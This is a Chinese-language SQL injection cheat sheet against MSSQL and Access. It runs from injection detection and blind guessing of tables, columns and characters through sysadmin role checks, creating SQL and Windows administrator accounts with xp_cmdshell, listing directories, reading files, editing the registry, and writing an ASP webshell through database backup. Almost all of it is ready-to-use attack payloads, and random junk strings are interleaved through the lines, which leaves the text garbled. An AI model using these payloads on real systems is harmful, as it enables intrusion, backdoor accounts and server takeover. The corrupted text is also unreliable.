1.判断是否有注入;and 1=1 ;and 1=2 Gf9O\wrs
2.初步判断是否是mssql ;and user>0 T8W^qrx.v
qDfhR`1k
3.注入参数是字符'and [查询条件] and ''=' Z *v`kl
}>3jHWxLc
4.搜索时没过滤参数的'and [查询条件] and '%25'=' at2)%V)
_.EM])b
5.判断数据库系统 pE0@m-p
vNZ"x)?
;and (select count(*) from sysobjects)>0 mssql e ]2GAJLI
nf:wJ-;*
;and (select count(*) from msysobjects)>0 access 2uF'\y
{W%XSE
J @IKXhb7_
*xKy^f
6.猜数据库 ;and (select Count(*) from [数据库名])>0 R+/kx#^
V{\1qg{
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 T$;BZ=_
M~Er6Zg
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 R4zOiBi'B
Z]5xy_La
9.(1)猜字段的ascii值(access) u%OLXb
#H5+8W
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 77]lpmC
Y
7?q`
(2)猜字段的ascii值(mssql) o0dD
;rnhv:Iw
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 YhN:t?
3u
s^\w#
10.测试权限结构(mssql) `dl^)4J
qK%#$JgqA
@B ?'Mu*
tdp>vI!
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- CE|
*&G
O>"
|5wj
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Q]dKyMSSA
1p<*11
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 9tmnx')_
GK3cQw
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- :01B)~^
>J:liB|(
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 8zjJshE/
b/E3Kse?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- *hpS/g/3\
muhu`
k`C
;and 1=(select IS_MEMBER('db_owner'));-- -f?,%6(1
1] .m4vC
/NuO>kQa
k?
,/om1
11.添加mssql和系统的帐户 6.|[;>Km
.5A .[ZY)
;exec master.dbo.sp_addlogin username;-- C0ORBp
;exec master.dbo.sp_password null,username,password;-- "od2i\
=t|,6Vp
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- bY~V?yNgKM
Iy5)SZ'
;exec master.dbo.xp_cmdshell 'net user username password I-Am9\
w.+G+r=
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
KcpQ[6\
S&Hgr_/}c
;exec master.dbo.xp_cmdshell 'net user username password /add';-- YjPj#57+
]L3MIaO2T
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- {Z>Mnw"R
Odw9]`,T
}1.'2.<Y
xlc2,L;i
12.(1)遍历目录 O6">Io5
:1v.Jk
;create table dirs(paths varchar(100), id int) A3J=,aRI_v
y3P4]sq
;insert dirs exec master.dbo.xp_dirtree 'c:\' P\@efq@!
`<hMrhfh
;and (select top 1 paths from dirs)>0 FyChH7
\J-D@b;
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) /U0,%
AMK(-=
meGLT/
E0u&hBd3_
(2)遍历目录 /HdjPxH
^#4<~zU
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- on1B~?*D
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 *{O[}
:+8qtIytKX
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 {?r5~T`2
`1lGAKv
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 uu/2C \n}
!';;q
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ( yB]$
,Z8)DC=
RQ 8;_)%
Lx|0G $
13.mssql中的存储过程 .F/s(
T5dnj&N ]
xp_regenumvalues 注册表根键, 子键 0u
+_D8G
cXb&Rm'L
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 jZiz 0[
t"vkd
xp_regread 根键,子键,键值名 w=5<mw
1=PTiDMJ<*
;exec xp_regread tCv}+7)
F4IU2_CnPD
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 %{?9#))
)kYDN_W
xp_regwrite 根键,子键, 值名, 值类型, 值 Xwd9-:
[*
|+ it+!
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 }-T,cA_H|
HKVtO%&
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 VuD{t%Jb
@]Ac >&
xp_regdeletevalue 根键,子键,值名 3KtJT&RuL
eAjsMED
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 /E:BEm!
fT
YlIT9
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 bas1(/|S
hUEA)c
Mt@Ma ]!
WYIv&h<h"
14.mssql的backup创建webshell +fQJ#?N2n
)^
P Wr^
use model I^[[*Bh*C
ZzxWKIE'c
create table cmd(str image); eYevj[c;
h-DHIk3/
insert into cmd(str) values (''); beNy5~M$
~y,m7%L
backup database model to disk='c:\l.asp'; 1Vs>G
3^-\=taN<m
Ko|gH]B'
pm[+xM9PB
15.mssql内置函数 @gw8r[
e`Co ='
;and (select @@version)>0 获得Windows的版本号
?P/73p
7R5+Q\W
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 1\g r
;b
5<P6PHdY
;and (select user_name())>0 爆当前系统的连接用户
*U`R<mV\
AS'+p %(
;and (select db_name())>0 得到当前连接的数据库 2rb@Md]dx
=q*c}8R_0
yet~
by\Sq}
16.简洁的webshell lbC,*U^
|7${E^u
use model #aiI]'
X8wtdd]64
create table cmd(str image); |/n
<,X=M6$0n
insert into cmd(str) values (''); }y vH)q
Mq_P'/
backup database model to disk='g:\wwwtest\l.asp';